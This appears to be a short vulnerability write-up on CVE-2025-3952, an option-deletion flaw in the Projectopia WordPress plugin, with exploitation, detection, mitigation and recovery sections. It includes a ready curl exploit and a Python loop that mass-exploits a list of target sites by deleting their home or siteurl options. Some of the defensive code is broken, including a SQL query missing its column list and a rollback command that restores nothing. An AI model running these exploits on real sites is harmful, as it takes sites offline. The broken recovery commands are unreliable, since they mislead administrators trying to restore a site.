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How CVE-2025-3952 Works
The Projectopia WordPress plugin (up to v5.1.16) lacks a capability check in the `pto_remove_logo` function, allowing authenticated attackers (even Subscribers) to delete arbitrary WordPress options via a crafted request. This can corrupt critical site configurations (e.g., siteurl), triggering a denial of service (DoS) by rendering the site inaccessible. The vulnerability stems from insecure nonce handling and missing privilege validation, enabling attackers to exploit AJAX endpoints meant for administrative actions.
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Platform: WordPress
Version: ≤5.1.16
Vulnerability: Option Deletion
Severity: Critical
Date: 05/19/2025
What Undercode Say:
Exploitation:
1. Craft Malicious AJAX Request:
curl -X POST http://victimsite.com/wp-admin/admin-ajax.php \ -d "action=pto_remove_logo&option_name=siteurl"
2. Automated Mass Exploit (Python):
import requests
targets = ["http://site1.com", "http://site2.com"]
for site in targets:
requests.post(f"{site}/wp-admin/admin-ajax.php", data={"action":"pto_remove_logo","option_name":"home"})
Detection:
1. Check Plugin Version:
SELECT FROM wp_options WHERE option_name = 'active_plugins' AND option_value LIKE '%projectopia%';
2. Log Analysis:
grep "pto_remove_logo" /var/log/apache2/access.log
Mitigation:
1. Immediate Patch:
wp plugin update projectopia --allow-root
2. WAF Rule (ModSecurity):
SecRule ARGS:action "@contains pto_remove_logo" "deny,log,id:1001"
3. Temporary Workaround:
// Add to theme's functions.php
add_filter('wp_ajax_pto_remove_logo', function(){ wp_die('Unauthorized', 403); });
Post-Exploit Recovery:
1. Restore `siteurl` Manually:
UPDATE wp_options SET option_value = 'https://originalsite.com' WHERE option_name = 'siteurl';
2. Rollback via WP-CLI:
wp option update siteurl $(wp option get siteurl --format=json)
References:
- NVD: CVE-2025-3952
- Patch: Update to Projectopia ≥5.1.17
- Advisory: Wordfence Blog 3952
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
